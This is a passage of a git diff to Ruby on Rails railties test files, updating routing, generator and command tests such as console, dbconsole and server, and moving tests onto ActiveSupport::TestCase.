+ assert_no_match(/\/sprockets/, output.first)
+ end
+
+ def test_redirect
+ output = draw do
+ get "/foo" => redirect("/foo/bar"), :constraints => { :subdomain => "admin" }
+ get "/bar" => redirect(path: "/foo/bar", status: 307)
+ get "/foobar" => redirect{ "/foo/bar" }
+ end
+
+ assert_equal " foo GET /foo(.:format) redirect(301, /foo/bar) {:subdomain=>\"admin\"}", output[0]
+ assert_equal " bar GET /bar(.:format) redirect(307, path: /foo/bar)", output[1]
+ assert_equal "foobar GET /foobar(.:format) redirect(301)", output[2]
end
end
end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index a05e39658d..977a5fc7e8 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -2,7 +2,7 @@ require 'isolation/abstract_unit'
require 'rack/test'
module ApplicationTests
- class RoutingTest < Test::Unit::TestCase
+ class RoutingTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
include Rack::Test::Methods
@@ -53,7 +53,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match ':controller(/:action)'
+ get ':controller(/:action)'
end
RUBY
@@ -94,7 +94,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match ':controller(/:action)'
+ get ':controller(/:action)'
end
RUBY
@@ -126,8 +126,8 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match 'admin/foo', :to => 'admin/foo#index'
- match 'foo', :to => 'foo#index'
+ get 'admin/foo', :to => 'admin/foo#index'
+ get 'foo', :to => 'foo#index'
end
RUBY
@@ -141,13 +141,13 @@ module ApplicationTests
test "routes appending blocks" do
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match ':controller/:action'
+ get ':controller/:action'
end
RUBY
add_to_config <<-R
routes.append do
- match '/win' => lambda { |e| [200, {'Content-Type'=>'text/plain'}, ['WIN']] }
+ get '/win' => lambda { |e| [200, {'Content-Type'=>'text/plain'}, ['WIN']] }
end
R
@@ -158,7 +158,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-R
AppTemplate::Application.routes.draw do
- match 'lol' => 'hello#index'
+ get 'lol' => 'hello#index'
end
R
@@ -166,7 +166,90 @@ module ApplicationTests
assert_equal 'WIN', last_response.body
end
+ test "routes drawing from config/routes" do
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ draw :external
+ end
+ RUBY
+
+ app_file 'config/routes/external.rb', <<-RUBY
+ get ':controller/:action'
+ RUBY
+
+ controller :success, <<-RUBY
+ class SuccessController < ActionController::Base
+ def index
+ render :text => "success!"
+ end
+ end
+ RUBY
+
+ app 'development'
+ get '/success/index'
+ assert_equal 'success!', last_response.body
+ end
+
{"development" => "baz", "production" => "bar"}.each do |mode, expected|
+ test "reloads routes when external configuration is changed in #{mode}" do
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def bar
+ render :text => "bar"
+ end
+
+ def baz
+ render :text => "baz"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ draw :external
+ end
+ RUBY
+
+ app_file 'config/routes/external.rb', <<-RUBY
+ get 'foo', :to => 'foo#bar'
+ RUBY
+
+ app(mode)
+
+ get '/foo'
+ assert_equal 'bar', last_response.body
+
+ app_file 'config/routes/external.rb', <<-RUBY
+ get 'foo', :to => 'foo#baz'
+ RUBY
+
+ sleep 0.1
+
+ get '/foo'
+ assert_equal expected, last_response.body
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ draw :external
+ draw :other_external
+ end
+ RUBY
+
+ app_file 'config/routes/other_external.rb', <<-RUBY
+ get 'win', :to => 'foo#baz'
+ RUBY
+
+ sleep 0.1
+
+ get '/win'
+
+ if mode == "development"
+ assert_equal expected, last_response.body
+ else
+ assert_equal 404, last_response.status
+ end
+ end
+
test "reloads routes when configuration is changed in #{mode}" do
controller :foo, <<-RUBY
class FooController < ApplicationController
@@ -182,7 +265,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match 'foo', :to => 'foo#bar'
+ get 'foo', :to => 'foo#bar'
end
RUBY
@@ -193,7 +276,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match 'foo', :to => 'foo#baz'
+ get 'foo', :to => 'foo#baz'
end
RUBY
@@ -214,7 +297,7 @@ module ApplicationTests
app_file 'config/routes.rb', <<-RUBY
AppTemplate::Application.routes.draw do
- match 'foo', :to => ::InitializeRackApp
+ get 'foo', :to => ::InitializeRackApp
end
RUBY
diff --git a/railties/test/application/runner_test.rb b/railties/test/application/runner_test.rb
index 4468fa295e..e1d283a7fd 100644
--- a/railties/test/application/runner_test.rb
+++ b/railties/test/application/runner_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class RunnerTest < Test::Unit::TestCase
+ class RunnerTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index 27a7959e84..f6bcaa466a 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class TestTest < Test::Unit::TestCase
+ class TestTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
@@ -24,24 +24,7 @@ module ApplicationTests
end
RUBY
- run_test 'unit/foo_test.rb'
- end
-
- # Run just in Ruby < 1.9
- if defined?(Test::Unit::Util::BacktraceFilter)
- test "adds backtrace cleaner" do
- app_file 'test/unit/backtrace_test.rb', <<-RUBY
- require 'test_helper'
-
- class FooTest < ActiveSupport::TestCase
- def test_truth
- assert Test::Unit::Util::BacktraceFilter.ancestors.include?(Rails::BacktraceFilterForTestUnit)
- end
- end
- RUBY
-
- run_test 'unit/backtrace_test.rb'
- end
+ run_test_file 'unit/foo_test.rb'
end
test "integration test" do
@@ -66,7 +49,7 @@ module ApplicationTests
end
RUBY
- run_test 'integration/posts_test.rb'
+ run_test_file 'integration/posts_test.rb'
end
test "performance test" do
@@ -91,11 +74,11 @@ module ApplicationTests
end
RUBY
- run_test 'performance/posts_test.rb'
+ run_test_file 'performance/posts_test.rb'
end
private
- def run_test(name)
+ def run_test_file(name)
result = ruby '-Itest', "#{app_path}/test/#{name}"
assert_equal 0, $?.to_i, result
end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
index 2b6ec26cd0..f7e60749a7 100644
--- a/railties/test/application/url_generation_test.rb
+++ b/railties/test/application/url_generation_test.rb
@@ -1,7 +1,7 @@
require 'isolation/abstract_unit'
module ApplicationTests
- class UrlGenerationTest < Test::Unit::TestCase
+ class UrlGenerationTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def app
@@ -31,7 +31,7 @@ module ApplicationTests
end
MyApp.routes.draw do
- match "/" => "omg#index", :as => :omg
+ get "/" => "omg#index", :as => :omg
end
require 'rack/test'
diff --git a/railties/test/backtrace_cleaner_test.rb b/railties/test/backtrace_cleaner_test.rb
index 80077378db..2dd74f8fd1 100644
--- a/railties/test/backtrace_cleaner_test.rb
+++ b/railties/test/backtrace_cleaner_test.rb
@@ -1,54 +1,24 @@
require 'abstract_unit'
require 'rails/backtrace_cleaner'
-if defined? Test::Unit::Util::BacktraceFilter
- class TestWithBacktrace
- include Test::Unit::Util::BacktraceFilter
- include Rails::BacktraceFilterForTestUnit
+class BacktraceCleanerVendorGemTest < ActiveSupport::TestCase
+ def setup
+ @cleaner = Rails::BacktraceCleaner.new
end
- class BacktraceCleanerFilterTest < ActiveSupport::TestCase
- def setup
- @test = TestWithBacktrace.new
- @backtrace = [ './test/rails/benchmark_test.rb', './test/rails/dependencies.rb', '/opt/local/lib/ruby/kernel.rb' ]
- end
-
- test "test with backtrace should use the rails backtrace cleaner to clean" do
- Rails.stubs(:backtrace_cleaner).returns(stub(:clean))
- Rails.backtrace_cleaner.expects(:clean).with(@backtrace, nil)
- @test.send(:filter_backtrace, @backtrace)
- end
-
- test "filter backtrace should have the same arity as Test::Unit::Util::BacktraceFilter" do
- assert_nothing_raised do
- @test.send(:filter_backtrace, @backtrace, '/opt/local/lib')
- end
- end
+ test "should format installed gems correctly" do
+ @backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+ @result = @cleaner.clean(@backtrace, :all)
+ assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
end
-else
- $stderr.puts 'No BacktraceFilter for minitest'
-end
-
-if defined? Gem
- class BacktraceCleanerVendorGemTest < ActiveSupport::TestCase
- def setup
- @cleaner = Rails::BacktraceCleaner.new
- end
- test "should format installed gems correctly" do
- @backtrace = [ "#{Gem.path[0]}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
+ test "should format installed gems not in Gem.default_dir correctly" do
+ @target_dir = Gem.path.detect { |p| p != Gem.default_dir }
+ # skip this test if default_dir is the only directory on Gem.path
+ if @target_dir
+ @backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
@result = @cleaner.clean(@backtrace, :all)
assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
end
-
- test "should format installed gems not in Gem.default_dir correctly" do
- @target_dir = Gem.path.detect { |p| p != Gem.default_dir }
- # skip this test if default_dir is the only directory on Gem.path
- if @target_dir
- @backtrace = [ "#{@target_dir}/gems/nosuchgem-1.2.3/lib/foo.rb" ]
- @result = @cleaner.clean(@backtrace, :all)
- assert_equal "nosuchgem (1.2.3) lib/foo.rb", @result[0]
- end
- end
end
end
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
new file mode 100644
index 0000000000..9aa1d68675
--- /dev/null
+++ b/railties/test/commands/console_test.rb
@@ -0,0 +1,106 @@
+require 'abstract_unit'
+require 'rails/commands/console'
+
+class Rails::ConsoleTest < ActiveSupport::TestCase
+ class FakeConsole
+ end
+
+ def setup
+ end
+
+ def test_sandbox_option
+ console = Rails::Console.new(app, ["--sandbox"])
+ assert console.sandbox?
+ end
+
+ def test_short_version_of_sandbox_option
+ console = Rails::Console.new(app, ["-s"])
+ assert console.sandbox?
+ end
+
+ def test_debugger_option
+ console = Rails::Console.new(app, ["--debugger"])
+ assert console.debugger?
+ end
+
+ def test_no_options
+ console = Rails::Console.new(app, [])
+ assert !console.debugger?
+ assert !console.sandbox?
+ end
+
+ def test_start
+ app.expects(:sandbox=).with(nil)
+ FakeConsole.expects(:start)
+
+ start
+
+ assert_match /Loading \w+ environment \(Rails/, output
+ end
+
+ def test_start_with_debugger
+ app.expects(:sandbox=).with(nil)
+ rails_console.expects(:require_debugger).returns(nil)
+ FakeConsole.expects(:start)
+
+ start ["--debugger"]
+ end
+
+ def test_start_with_sandbox
+ app.expects(:sandbox=).with(true)
+ FakeConsole.expects(:start)
+
+ start ["--sandbox"]
+
+ assert_match /Loading \w+ environment in sandbox \(Rails/, output
+ end
+
+ def test_console_with_environment
+ app.expects(:sandbox=).with(nil)
+ FakeConsole.expects(:start)
+
+ start ["-e production"]
+
+ assert_match /production/, output
+ end
+
+ def test_console_with_rails_environment
+ app.expects(:sandbox=).with(nil)
+ FakeConsole.expects(:start)
+
+ start ["RAILS_ENV=production"]
+
+ assert_match /production/, output
+ end
+
+
+ def test_console_defaults_to_IRB
+ config = mock("config", :console => nil)
+ app = mock("app", :config => config)
+ app.expects(:load_console).returns(nil)
+
+ assert_equal IRB, Rails::Console.new(app).console
+ end
+
+ private
+
+ attr_reader :output
+
+ def rails_console
+ @rails_console ||= Rails::Console.new(app)
+ end
+
+ def start(argv = [])
+ rails_console.stubs(:arguments => argv)
+ @output = output = capture(:stdout) { rails_console.start }
+ end
+
+ def app
+ @app ||= begin
+ config = mock("config", :console => FakeConsole)
+ app = mock("app", :config => config)
+ app.expects(:load_console)
+ app
+ end
+ end
+end
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
new file mode 100644
index 0000000000..85a7edfacd
--- /dev/null
+++ b/railties/test/commands/dbconsole_test.rb
@@ -0,0 +1,160 @@
+require 'abstract_unit'
+require 'rails/commands/dbconsole'
+
+class Rails::DBConsoleTest < ActiveSupport::TestCase
+ def teardown
+ %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
+ end
+
+ def test_config
+ Rails::DBConsole.const_set(:APP_PATH, "erb")
+
+ app_config({})
+ capture_abort { Rails::DBConsole.config }
+ assert aborted
+ assert_match /No database is configured for the environment '\w+'/, output
+
+ app_config(test: "with_init")
+ assert_equal Rails::DBConsole.config, "with_init"
+
+ app_db_file("test:\n without_init")
+ assert_equal Rails::DBConsole.config, "without_init"
+
+ app_db_file("test:\n <%= Rails.something_app_specific %>")
+ assert_equal Rails::DBConsole.config, "with_init"
+
+ app_db_file("test:\n\ninvalid")
+ assert_equal Rails::DBConsole.config, "with_init"
+ end
+
+ def test_env
+ assert_equal Rails::DBConsole.env, "test"
+
+ Rails.stubs(:respond_to?).with(:env).returns(false)
+ assert_equal Rails::DBConsole.env, "test"
+
+ ENV['RAILS_ENV'] = nil
+ ENV['RACK_ENV'] = "rack_env"
+ assert_equal Rails::DBConsole.env, "rack_env"
+
+ ENV['RAILS_ENV'] = "rails_env"
+ assert_equal Rails::DBConsole.env, "rails_env"
+ ensure
+ ENV['RAILS_ENV'] = "test"
+ end
+
+ def test_mysql
+ dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], 'db')
+ start(adapter: 'mysql', database: 'db')
+ assert !aborted
+ end
+
+ def test_mysql_full
+ dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db')
+ start(adapter: 'mysql', database: 'db', host: 'locahost', port: 1234, socket: 'socket', username: 'user', password: 'qwerty', encoding: 'UTF-8')
+ assert !aborted
+ end
+
+ def test_mysql_include_password
+ dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--user=user', '--password=qwerty', 'db')
+ start({adapter: 'mysql', database: 'db', username: 'user', password: 'qwerty'}, ['-p'])
+ assert !aborted
+ end
+
+ def test_postgresql
+ dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+ start(adapter: 'postgresql', database: 'db')
+ assert !aborted
+ end
+
+ def test_postgresql_full
+ dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+ start(adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3', host: 'host', port: 5432)
+ assert !aborted
+ assert_equal 'user', ENV['PGUSER']
+ assert_equal 'host', ENV['PGHOST']
+ assert_equal '5432', ENV['PGPORT']
+ assert_not_equal 'q1w2e3', ENV['PGPASSWORD']
+ end
+
+ def test_postgresql_include_password
+ dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
+ start({adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3'}, ['-p'])
+ assert !aborted
+ assert_equal 'user', ENV['PGUSER']
+ assert_equal 'q1w2e3', ENV['PGPASSWORD']
+ end
+
+ def test_sqlite
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite', 'db')
+ start(adapter: 'sqlite', database: 'db')
+ assert !aborted
+ end
+
+ def test_sqlite3
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', 'db')
+ start(adapter: 'sqlite3', database: 'db')
+ assert !aborted
+ end
+
+ def test_sqlite3_mode
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-html', 'db')
+ start({adapter: 'sqlite3', database: 'db'}, ['--mode', 'html'])
+ assert !aborted
+ end
+
+ def test_sqlite3_header
+ dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-header', 'db')
+ start({adapter: 'sqlite3', database: 'db'}, ['--header'])
+ assert !aborted
+ end
+
+ def test_oracle
+ dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user@db')
+ start(adapter: 'oracle', database: 'db', username: 'user', password: 'secret')
+ assert !aborted
+ end
+
+ def test_oracle_include_password
+ dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user/secret@db')
+ start({adapter: 'oracle', database: 'db', username: 'user', password: 'secret'}, ['-p'])
+ assert !aborted
+ end
+
+ def test_unknown_command_line_client
+ start(adapter: 'unknown', database: 'db')
+ assert aborted
+ assert_match /Unknown command-line client for db/, output
+ end
+
+ private
+ attr_reader :aborted, :output
+
+ def dbconsole
+ @dbconsole ||= Rails::DBConsole.new(nil)
+ end
+
+ def start(config = {}, argv = [])
+ dbconsole.stubs(config: config.stringify_keys, arguments: argv)
+ capture_abort { dbconsole.start }
+ end
+
+ def capture_abort
+ @aborted = false
+ @output = capture(:stderr) do
+ begin
+ yield
+ rescue SystemExit
+ @aborted = true
+ end
+ end
+ end
+
+ def app_db_file(result)
+ IO.stubs(:read).with("config/database.yml").returns(result)
+ end
+
+ def app_config(result)
+ Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
+ end
+end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
new file mode 100644
index 0000000000..8039aec873
--- /dev/null
+++ b/railties/test/commands/server_test.rb
@@ -0,0 +1,26 @@
+require 'abstract_unit'
+require 'rails/commands/server'
+
+class Rails::ServerTest < ActiveSupport::TestCase
+
+ def test_environment_with_server_option
+ args = ["thin", "RAILS_ENV=production"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal 'production', options[:environment]
+ assert_equal 'thin', options[:server]
+ end
+
+ def test_environment_without_server_option
+ args = ["RAILS_ENV=production"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal 'production', options[:environment]
+ assert_nil options[:server]
+ end
+
+ def test_server_option_without_environment
+ args = ["thin"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_nil options[:environment]
+ assert_equal 'thin', options[:server]
+ end
+end
diff --git a/railties/test/engine_test.rb b/railties/test/engine_test.rb
new file mode 100644
index 0000000000..68406dce4c
--- /dev/null
+++ b/railties/test/engine_test.rb
@@ -0,0 +1,24 @@
+require 'abstract_unit'
+
+class EngineTest < ActiveSupport::TestCase
+ it "reports routes as available only if they're actually present" do
+ engine = Class.new(Rails::Engine) do
+ def initialize(*args)
+ @routes = nil
+ super
+ end
+ end
+
+ assert !engine.routes?
+ end
+
+ it "does not add more paths to routes on each call" do
+ engine = Class.new(Rails::Engine)
+
+ engine.routes
+ length = engine.routes.draw_paths.length
+
+ engine.routes
+ assert_equal length, engine.routes.draw_paths.length
+ end
+end
diff --git a/railties/test/fixtures/lib/generators/usage_template/USAGE b/railties/test/fixtures/lib/generators/usage_template/USAGE
new file mode 100644
index 0000000000..bcd63c52e2
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/usage_template/USAGE
@@ -0,0 +1 @@
+:: <%= 1 + 1 %> :: \ No newline at end of file
diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
new file mode 100644
index 0000000000..078b0f9412
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
@@ -0,0 +1,5 @@
+require 'rails/generators'
+
+class UsageTemplateGenerator < Rails::Generators::Base
+ source_root File.expand_path("templates", File.dirname(__FILE__))
+end
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index 51fa2fe16f..a8c8fcd5b7 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -9,8 +9,6 @@ class ActionsTest < Rails::Generators::TestCase
def setup
Rails.application = TestApp::Application
super
- @git_plugin_uri = 'git://github.com/technoweenie/restful-authentication.git'
- @svn_plugin_uri = 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
end
def teardown
@@ -37,41 +35,6 @@ class ActionsTest < Rails::Generators::TestCase
assert_file 'lib/test_file.rb', 'heres block data'
end
- def test_plugin_with_git_option_should_run_plugin_install
- generator.expects(:run_ruby_script).once.with("script/rails plugin install #{@git_plugin_uri}", :verbose => false)
- action :plugin, 'restful-authentication', :git => @git_plugin_uri
- end
-
- def test_plugin_with_svn_option_should_run_plugin_install
- generator.expects(:run_ruby_script).once.with("script/rails plugin install #{@svn_plugin_uri}", :verbose => false)
- action :plugin, 'restful-authentication', :svn => @svn_plugin_uri
- end
-
- def test_plugin_with_git_option_and_branch_should_run_plugin_install
- generator.expects(:run_ruby_script).once.with("script/rails plugin install -b stable #{@git_plugin_uri}", :verbose => false)
- action :plugin, 'restful-authentication', :git => @git_plugin_uri, :branch => 'stable'
- end
-
- def test_plugin_with_svn_option_and_revision_should_run_plugin_install
- generator.expects(:run_ruby_script).once.with("script/rails plugin install -r 1234 #{@svn_plugin_uri}", :verbose => false)
- action :plugin, 'restful-authentication', :svn => @svn_plugin_uri, :revision => 1234
- end
-
- def test_plugin_with_git_option_and_submodule_should_use_git_scm
- generator.expects(:run).with("git submodule add #{@git_plugin_uri} vendor/plugins/rest_auth", :verbose => false)
- action :plugin, 'rest_auth', :git => @git_plugin_uri, :submodule => true
- end
-
- def test_plugin_with_git_option_and_submodule_should_use_git_scm
- generator.expects(:run).with("git submodule add -b stable #{@git_plugin_uri} vendor/plugins/rest_auth", :verbose => false)
- action :plugin, 'rest_auth', :git => @git_plugin_uri, :submodule => true, :branch => 'stable'
- end
-
- def test_plugin_with_no_options_should_skip_method
- generator.expects(:run).never
- action :plugin, 'rest_auth', {}
- end
-
def test_add_source_adds_source_to_gemfile
run_generator
action :add_source, 'http://gems.github.com'
@@ -95,11 +58,13 @@ class ActionsTest < Rails::Generators::TestCase
def test_gem_should_insert_on_separate_lines
run_generator
+ File.open('Gemfile', 'a') {|f| f.write('# Some content...') }
+
action :gem, 'rspec'
action :gem, 'rspec-rails'
- assert_file 'Gemfile', /gem "rspec"$/
- assert_file 'Gemfile', /gem "rspec-rails"$/
+ assert_file 'Gemfile', /^gem "rspec"$/
+ assert_file 'Gemfile', /^gem "rspec-rails"$/
end
def test_gem_group_should_wrap_gems_in_a_group
@@ -231,14 +196,14 @@ class ActionsTest < Rails::Generators::TestCase
def test_readme
run_generator
Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
- assert_match(/Welcome to Rails/, action(:readme, "README"))
+ assert_match(/Welcome to Rails/, action(:readme, "README.rdoc"))
end
def test_readme_with_quiet
generator(default_arguments, :quiet => true)
run_generator
Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
- assert_no_match(/Welcome to Rails/, action(:readme, "README"))
+ assert_no_match(/Welcome to Rails/, action(:readme, "README.rdoc"))
end
def test_log
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index 133efb872f..26e912fd9e 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -1,4 +1,3 @@
-require 'abstract_unit'
require 'generators/generators_test_helper'
require 'rails/generators/rails/app/app_generator'
require 'generators/shared_generator_tests.rb'
@@ -33,7 +32,6 @@ DEFAULT_APP_FILES = %w(
test/unit
vendor
vendor/assets
- vendor/plugins
tmp/cache
tmp/cache/assets
)
@@ -55,6 +53,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/
assert_file "app/assets/stylesheets/application.css"
assert_file "config/application.rb", /config\.assets\.enabled = true/
+ assert_file "public/index.html", /url\("assets\/rails.png"\);/
end
def test_invalid_application_name_raises_an_error
@@ -84,6 +83,16 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_equal false, $?.success?
end
+ def test_application_new_show_help_message_inside_existing_rails_directory
+ app_root = File.join(destination_root, 'myfirstapp')
+ run_generator [app_root]
+ output = Dir.chdir(app_root) do
+ `rails new --help`
+ end
+ assert_match(/rails new APP_PATH \[options\]/, output)
+ assert_equal true, $?.success?
+ end
+
def test_application_name_is_detected_if_it_exists_and_app_folder_renamed
app_root = File.join(destination_root, "myapp")
app_moved_root = File.join(destination_root, "myapp_moved")
@@ -123,13 +132,23 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_file "hats/config/environment.rb", /Hats::Application\.initialize!/
end
+ def test_gemfile_has_no_whitespace_errors
+ run_generator
+ absolute = File.expand_path("Gemfile", destination_root)
+ File.open(absolute, 'r') do |f|
+ f.each_line do |line|
+ assert_no_match %r{/^[ \t]+$/}, line
+ end
+ end
+ end
+
def test_config_database_is_added_by_default
run_generator
assert_file "config/database.yml", /sqlite3/
unless defined?(JRUBY_VERSION)
- assert_file "Gemfile", /^gem\s+["']sqlite3["']$/
+ assert_gem "sqlite3"
else
- assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/
+ assert_gem "activerecord-jdbcsqlite3-adapter"
end
end
@@ -137,45 +156,55 @@ class AppGeneratorTest < Rails::Generators::TestCase
run_generator([destination_root, "-d", "mysql"])
assert_file "config/database.yml", /mysql/
unless defined?(JRUBY_VERSION)
- assert_file "Gemfile", /^gem\s+["']mysql2["']$/
+ assert_gem "mysql2"
+ else
+ assert_gem "activerecord-jdbcmysql-adapter"
+ end
+ end
+
+ def test_config_postgresql_database
+ run_generator([destination_root, "-d", "postgresql"])
+ assert_file "config/database.yml", /postgresql/
+ unless defined?(JRUBY_VERSION)
+ assert_gem "pg"
else
- assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/
+ assert_gem "activerecord-jdbcpostgresql-adapter"
end
end
def test_config_jdbcmysql_database
run_generator([destination_root, "-d", "jdbcmysql"])
assert_file "config/database.yml", /mysql/
- assert_file "Gemfile", /^gem\s+["']activerecord-jdbcmysql-adapter["']$/
+ assert_gem "activerecord-jdbcmysql-adapter"
# TODO: When the JRuby guys merge jruby-openssl in
# jruby this will be removed
- assert_file "Gemfile", /^gem\s+["']jruby-openssl["']$/ if defined?(JRUBY_VERSION)
+ assert_gem "jruby-openssl" if defined?(JRUBY_VERSION)
end
def test_config_jdbcsqlite3_database
run_generator([destination_root, "-d", "jdbcsqlite3"])
assert_file "config/database.yml", /sqlite3/
- assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/
+ assert_gem "activerecord-jdbcsqlite3-adapter"
end
def test_config_jdbcpostgresql_database
run_generator([destination_root, "-d", "jdbcpostgresql"])
assert_file "config/database.yml", /postgresql/
- assert_file "Gemfile", /^gem\s+["']activerecord-jdbcpostgresql-adapter["']$/
+ assert_gem "activerecord-jdbcpostgresql-adapter"
end
def test_config_jdbc_database
run_generator([destination_root, "-d", "jdbc"])
assert_file "config/database.yml", /jdbc/
assert_file "config/database.yml", /mssql/
- assert_file "Gemfile", /^gem\s+["']activerecord-jdbc-adapter["']$/
+ assert_gem "activerecord-jdbc-adapter"
end
def test_config_jdbc_database_when_no_option_given
if defined?(JRUBY_VERSION)
run_generator([destination_root])
assert_file "config/database.yml", /sqlite3/
- assert_file "Gemfile", /^gem\s+["']activerecord-jdbcsqlite3-adapter["']$/
+ assert_gem "activerecord-jdbcsqlite3-adapter"
end
end
@@ -183,6 +212,8 @@ class AppGeneratorTest < Rails::Generators::TestCase
run_generator [destination_root, "--skip-active-record"]
assert_no_file "config/database.yml"
assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+ assert_file "config/application.rb", /#\s+config\.active_record\.whitelist_attributes = true/
+ assert_file "config/application.rb", /#\s+config\.active_record\.dependent_restrict_raises = false/
assert_file "test/test_helper.rb" do |helper_content|
assert_no_match(/fixtures :all/, helper_content)
end
@@ -192,12 +223,40 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_generator_if_skip_sprockets_is_given
run_generator [destination_root, "--skip-sprockets"]
assert_file "config/application.rb" do |content|
- assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
+ assert_match(/#\s+require\s+["']sprockets\/rails\/railtie["']/, content)
assert_no_match(/config\.assets\.enabled = true/, content)
end
+ assert_file "Gemfile" do |content|
+ assert_no_match(/sass-rails/, content)
+ assert_no_match(/coffee-rails/, content)
+ assert_no_match(/uglifier/, content)
+ end
+ assert_file "config/environments/development.rb" do |content|
+ assert_no_match(/config\.assets\.debug = true/, content)
+ end
+ assert_file "config/environments/production.rb" do |content|
+ assert_no_match(/config\.assets\.digest = true/, content)
+ assert_no_match(/config\.assets\.compress = true/, content)
+ end
assert_file "test/performance/browsing_test.rb"
end
+ def test_inclusion_of_javascript_runtime
+ run_generator([destination_root])
+ if defined?(JRUBY_VERSION)
+ assert_gem "therubyrhino"
+ else
+ assert_file "Gemfile", /# gem\s+["']therubyracer["']+, platform: :ruby$/
+ end
+ end
+
+ def test_generator_if_skip_index_html_is_given
+ run_generator [destination_root, "--skip-index-html"]
+ assert_no_file "public/index.html"
+ assert_no_file "app/assets/images/rails.png"
+ assert_file "app/assets/images/.gitkeep"
+ end
+
def test_creation_of_a_test_directory
run_generator
assert_file 'test'
@@ -219,9 +278,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_match %r{^//= require jquery}, contents
assert_match %r{^//= require jquery_ujs}, contents
end
- assert_file 'Gemfile' do |contents|
- assert_match(/^gem 'jquery-rails'/, contents)
- end
+ assert_gem "jquery-rails"
end
def test_other_javascript_libraries
@@ -230,9 +287,7 @@ class AppGeneratorTest < Rails::Generators::TestCase
assert_match %r{^//= require prototype}, contents
assert_match %r{^//= require prototype_ujs}, contents
end
- assert_file 'Gemfile' do |contents|
- assert_match(/^gem 'prototype-rails'/, contents)
- end
+ assert_gem "prototype-rails"
